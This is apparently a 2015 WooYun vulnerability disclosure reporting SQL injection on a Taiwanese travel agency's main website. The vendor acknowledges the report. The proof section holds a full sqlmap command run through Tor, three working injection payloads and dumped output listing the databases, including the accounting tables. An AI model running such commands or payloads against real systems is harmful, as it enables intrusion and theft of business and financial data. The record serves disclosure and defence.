当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0164368

漏洞标题：喜鴻旅行社主站SQL注入漏洞（臺灣地區）

相关厂商：喜鴻旅行社

漏洞作者： 路人甲

提交时间：2015-12-27 22:12

修复时间：2016-02-09 23:29

公开时间：2016-02-09 23:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：16

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-27： 细节已通知厂商并且等待厂商处理中
2015-12-28： 厂商已经确认，细节仅向厂商公开
2016-01-07： 细节向核心白帽子及相关领域专家公开
2016-01-17： 细节向普通白帽子公开
2016-01-27： 细节向实习白帽子公开
2016-02-09： 细节向公众公开

简要描述：

喜鴻旅行社主站SQL注入

详细说明：

喜鴻旅行社主站SQL注入

http://**.**.**.**

漏洞证明：

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUS --union-char=N --answers="extending=N,skip=Y,follow=N,quite=Y" -u "http://**.**.**.**/web/ThemeTravel/golf/golf_introduction_area.asp?country_code=CHN&city_code=&view_id=VCHNCKG49"
---
Parameter: country_code (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: country_code=CHN' AND 7998=7998 AND 'CXkA'='CXkA&city_code=&view_id=VCHNCKG49
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: country_code=CHN' AND 5534=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (5534=5534) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113))) AND 'QbJw'='QbJw&city_code=&view_id=VCHNCKG49
    Type: UNION query
    Title: Generic UNION query (N) - 3 columns
    Payload: country_code=CHN' UNION ALL SELECT 'N','N',CHAR(113)+CHAR(118)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(109)+CHAR(111)+CHAR(111)+CHAR(84)+CHAR(97)+CHAR(66)+CHAR(82)+CHAR(98)+CHAR(109)+CHAR(81)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)-- &city_code=&view_id=VCHNCKG49
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] homepage
[*] Hsihung_accounting
[*] Hsihung_travel
[*] Hsihung_web
[*] master
[*] model
[*] msdb
[*] tempdb
[07:32:46] [INFO] fetching tables for database: Hsihung_accounting  ==>非current_db也受影响
[07:37:50] [WARNING] reflective value(s) found and filtering out
[07:37:50] [INFO] the SQL query used returns 77 entries
[07:45:23] [INFO] retrieved: dbo.account_2_live
[07:54:27] [INFO] retrieved: dbo.account_2_live
[08:03:47] [INFO] retrieved: dbo.account_2001
[08:13:27] [INFO] retrieved: dbo.account_2005
[08:22:44] [INFO] retrieved: dbo.accounts_8_month
[08:31:16] [INFO] retrieved: dbo.accounts_8_month
[08:40:09] [INFO] retrieved: dbo.balance_sheet_detail
[08:48:42] [INFO] retrieved: dbo.balance_sheet_detail
[08:58:30] [INFO] retrieved: dbo.basic_data
[09:07:24] [INFO] retrieved: dbo.card_bank
[09:15:52] [INFO] retrieved: dbo.card_rate
[09:24:26] [INFO] retrieved: dbo.check_in_content
[09:33:25] [INFO] retrieved: dbo.check_in_content
[09:42:13] [INFO] retrieved: dbo.check_in_content
[09:50:13] [INFO] retrieved: dbo.check_in_table
[09:58:41] [INFO] retrieved: dbo.check_out_content
[10:07:16] [INFO] retrieved: dbo.check_out_content
[10:15:30] [INFO] retrieved: dbo.check_out_table

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-12-28 17:42

厂商回复：

感謝通報

最新状态：

暂无